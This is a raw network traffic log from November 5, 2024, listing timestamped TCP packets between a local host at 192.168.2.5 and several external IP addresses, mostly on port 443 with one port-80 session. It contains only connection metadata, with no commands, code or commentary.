Nov 5, 2024 10:13:48.277266026 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.277429104 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.277442932 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.371484995 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.371776104 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.371803999 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.372132063 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.372504950 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.372571945 CET	443	49948	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.377635956 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.378077984 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.378103018 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.379190922 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.379257917 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.380347013 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.380414009 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.381217957 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.381922007 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.381944895 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.382240057 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.382605076 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.382684946 CET	443	49947	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.385884047 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.386090040 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.386111975 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.387098074 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.387186050 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.387474060 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.387533903 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.509099960 CET	49948	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.509114027 CET	49947	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.509126902 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.509138107 CET	443	49950	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.548717976 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.548742056 CET	443	49949	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.611279964 CET	49950	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.737075090 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.737555981 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.737817049 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.737842083 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.737942934 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.737967968 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.738240004 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.738313913 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.738632917 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.738754034 CET	443	49952	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.738887072 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.738955021 CET	443	49951	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:48.750524044 CET	49949	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.795718908 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:48.795872927 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:48.856025934 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.856245041 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.856268883 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.857332945 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.857386112 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.858504057 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.858567953 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.858902931 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.858911037 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.903017998 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:48.903059006 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:48.903198957 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:48.903477907 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:48.903493881 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:48.913141966 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.916282892 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.916306973 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.917155981 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.917161942 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.941342115 CET	49951	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.941407919 CET	49952	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:48.942099094 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.942318916 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.942327976 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.943207979 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.943263054 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.944999933 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.945053101 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.945283890 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.945288897 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.946841002 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.947046995 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.947053909 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.948158026 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.948237896 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.948570967 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.948636055 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.948730946 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:48.958724976 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.969971895 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.971080065 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.971112013 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.971987009 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:48.971996069 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:48.991338015 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:48.997973919 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999553919 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999562979 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999579906 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999588013 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999603987 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.999634981 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:48.999636889 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:48.999731064 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:49.002109051 CET	49957	443	192.168.2.5	23.218.232.182
Nov 5, 2024 10:13:49.002129078 CET	443	49957	23.218.232.182	192.168.2.5
Nov 5, 2024 10:13:49.024015903 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.024743080 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.024764061 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.025196075 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.025202990 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.041923046 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.045922995 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.046889067 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.046919107 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.047411919 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.047420025 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.048696041 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.048723936 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.049258947 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.049268007 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.049827099 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.050029993 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.050045013 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.052877903 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.052939892 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.053003073 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.053729057 CET	49953	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.053744078 CET	443	49953	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.077315092 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.077347994 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.077452898 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.077641964 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.077656031 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.163196087 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.163259029 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.163328886 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.166135073 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.166161060 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.166172981 CET	49958	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.166179895 CET	443	49958	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.174380064 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.174432993 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.174504995 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.184266090 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.184284925 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.184340000 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.184365034 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.184777975 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.184829950 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.187693119 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.187752962 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.187798977 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.187807083 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.187897921 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.194185019 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194211006 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194217920 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194248915 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194262028 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194269896 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194291115 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.194297075 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.194336891 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.200267076 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200277090 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200298071 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200306892 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200314999 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.200321913 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200336933 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200361967 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.200361967 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.200380087 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.200474977 CET	49963	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.200515032 CET	443	49963	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.200704098 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.200720072 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.200730085 CET	49959	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.200735092 CET	443	49959	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.203382969 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.203397036 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.203407049 CET	49960	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.203411102 CET	443	49960	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.205640078 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.205662012 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.205677032 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.205709934 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.205724001 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.205735922 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.205771923 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.214370966 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.214375019 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.214483976 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.214560986 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.214592934 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.214644909 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.218662977 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.218703032 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.218786955 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.219058990 CET	49964	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.219077110 CET	443	49964	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.223460913 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.223494053 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.223555088 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.223869085 CET	49965	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.223881006 CET	443	49965	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.248023033 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.256771088 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.256794930 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.256848097 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.256900072 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.260940075 CET	49954	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.260957956 CET	443	49954	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.265172958 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.265209913 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.265278101 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.278970003 CET	49966	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.279000044 CET	443	49966	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.313199043 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.313210964 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.313250065 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.313281059 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.313294888 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.313301086 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.313324928 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.313340902 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.319317102 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319325924 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319350958 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319360018 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319363117 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.319371939 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319380045 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.319395065 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.319430113 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.431979895 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.432013035 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.432064056 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.432096004 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.432116985 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.432311058 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.438530922 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438556910 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438563108 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438575983 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438584089 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.438590050 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438606024 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438633919 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.438640118 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.438682079 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.492537975 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.492563963 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.492671013 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.492944002 CET	49967	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:49.492958069 CET	443	49967	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:49.551194906 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551219940 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551269054 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.551280975 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551305056 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.551321983 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.551582098 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551640034 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.551645041 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551660061 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.551713943 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.552515984 CET	49956	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.552530050 CET	443	49956	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559139013 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559145927 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559173107 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559181929 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559195995 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.559201956 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.559247017 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.619175911 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.620059967 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.620405912 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.620429993 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.620790005 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.621229887 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.621292114 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.621464968 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.621479988 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.621490002 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.623984098 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.676245928 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.676254988 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.676281929 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.676294088 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.676301003 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.676307917 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.676332951 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.676346064 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.794794083 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.794816017 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.794929981 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.794943094 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.795006037 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.796966076 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.833509922 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.835129023 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.835165977 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.835525036 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.835587978 CET	49962	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:49.835593939 CET	443	49962	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:49.835616112 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.835752010 CET	49961	443	192.168.2.5	13.91.96.185
Nov 5, 2024 10:13:49.835772038 CET	443	49961	13.91.96.185	192.168.2.5
Nov 5, 2024 10:13:49.900912046 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900926113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900935888 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900947094 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900959015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900969982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900980949 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.900991917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.901022911 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.901052952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.901070118 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.901079893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.901118994 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.901211977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.901264906 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.901349068 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.901535034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.906388998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.906399965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.906410933 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:49.906456947 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.906490088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:49.914186954 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.914212942 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.914277077 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.914283991 CET	443	49955	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:49.914369106 CET	49955	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:49.967534065 CET	443	49963	13.107.253.45	192.168.2.5
